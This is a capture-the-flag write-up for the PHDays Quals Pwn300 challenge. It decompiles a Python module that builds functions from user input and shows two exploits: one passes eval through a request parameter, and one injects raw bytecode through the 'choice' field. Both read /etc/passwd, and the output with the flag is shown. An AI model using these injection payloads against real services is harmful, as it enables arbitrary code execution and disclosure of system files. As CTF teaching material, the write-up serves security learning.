code hacking, zen coding

PHDays CTF Quals – Pwn300 SouthPark Write-Up – Python byte-code version

This challenge is about the control panel of the Southpark police department. (I wonder how many weird google searches I’m going to get on this post)

phd-pwn300-web

You can choose an action and a victim. When you submit the form, it’s a simple AJAX call that will display “‘human’ was ‘action'”

If we look closer at this ajax call we have some variables to play with:

&actions=kill&actions=arrest&actions=bankrupt&human=Kenny&choice=%00

We get the “source” code of this challenge in the form of 2 files, one web.py file and one compiled process.pyc file.

In web.py, we see we import the process.pyc:

  def render_POST(self, request):
    import process
    addition = "<br>"
    addition += process.process(request.args)
    response = addition
    return response

Using the great Uncompyle2 by Mysterie, we can recover the source code of process.pyc:

import types

def create_function(name, args_count, choice, actions, human):

    def y():
        pass

    code = 't' + choice + ''\x00d\x01\x00\x83\x01\x00S'
    consts = (None,) + (human,)
    names = actions
    fun = [args_count,
     y.func_code.co_nlocals,
     y.func_code.co_stacksize,
     y.func_code.co_flags,
     code,
     consts,
     names,
     y.func_code.co_varnames,
     y.func_code.co_filename,
     name,
     y.func_code.co_firstlineno,
     y.func_code.co_lnotab]
    y_code = types.CodeType(*fun)
    return types.FunctionType(y_code, y.func_globals, name)


def kill(name):
    return '%s was killed' % name


def arrest(name):
    return '%s was arrested' % name


def bankrupt(name):
    return '%s was bankrupted' % name


def process(args):
    actions = tuple(args['actions'])
    choice = args['choice'][0]
    human = args['human'][0]
    return create_function('myfunc', 0, choice, actions, human)()

create_function creates a Python lambda function from scratch and then returns it for consumption.

There is many ways to exploit this code because it calls a function name defined by the user in actions passing human as parameter like for example:

&actions=eval&human=str(open('/etc/passwd').read())&choice=%00

But I was intrigued by the “code” variable and the choice parameter which is inserted in the middle of what is Python byte-code. Can we exploit that for extra fun? (not extra points tough)

What is the purpose of:

code = 't' + choice + '\x00d\x01\x00\x83\x01\x00S'

Using Python dis module we can disassemble it: (comments are my own)

>>> import dis
>>> choice = '\x00'
>>> dis.dis('t' + choice + '\x00d\x01\x00\x83\x01\x00S')
          0 LOAD_GLOBAL         0 (0) // load actions (as globals=names)
          3 LOAD_CONST          1 (1) // load human on stack
          6 CALL_FUNCTION       1
          9 RETURN_VALUE

Calling a function named after “actions” passing the “human” parameter.

So we can craft the following Python byte-code injection:

&actions=open&actions=read&human=/etc/passwd&choice=%00%00d%01%00%83%01%00i%01%00%83%00%00St%00

This byte-code string can be decoded as doing this:

>>> dis.dis('t' + chr(0) + '\x00d\x01\x00\x83\x01\x00' + chr(105) +  chr(1) + '\x00\x83\x00\x00S' + 't' +  chr(0) + '\x00d\x01\x00\x83\x01\x00S')
          0 LOAD_GLOBAL         0 (0) // push first "actions" parameter on stack : open
          3 LOAD_CONST          1 (1) // push "human" parameter on stack : /etc/passwd
          6 CALL_FUNCTION       1     // open('/etc/passwd')
          9 LOAD_ATTR           1 (1) // load second "actions" parameter as a "read" attr for the open object created previously
         12 CALL_FUNCTION       0     // read the file content: open('/etc/passwd').read()
         15 RETURN_VALUE              // we bypass rest of original byte-code by inserting a RETURN_VALUE opcode, bit like # -- in SQLi
         16 LOAD_GLOBAL         0 (0) // original code
         19 LOAD_CONST          1 (1)
         22 CALL_FUNCTION       1
         25 RETURN_VALUE

And we get the flag:

# $FreeBSD: src/etc/master.passwd,v 1.42.2.1.2.2 2012/11/17 08:36:10 svnexp Exp $
#
root:*:0:0:Charlie & flag -> d9301a72ee12eabb2b913398a3fab50b:/root:/bin/csh
Share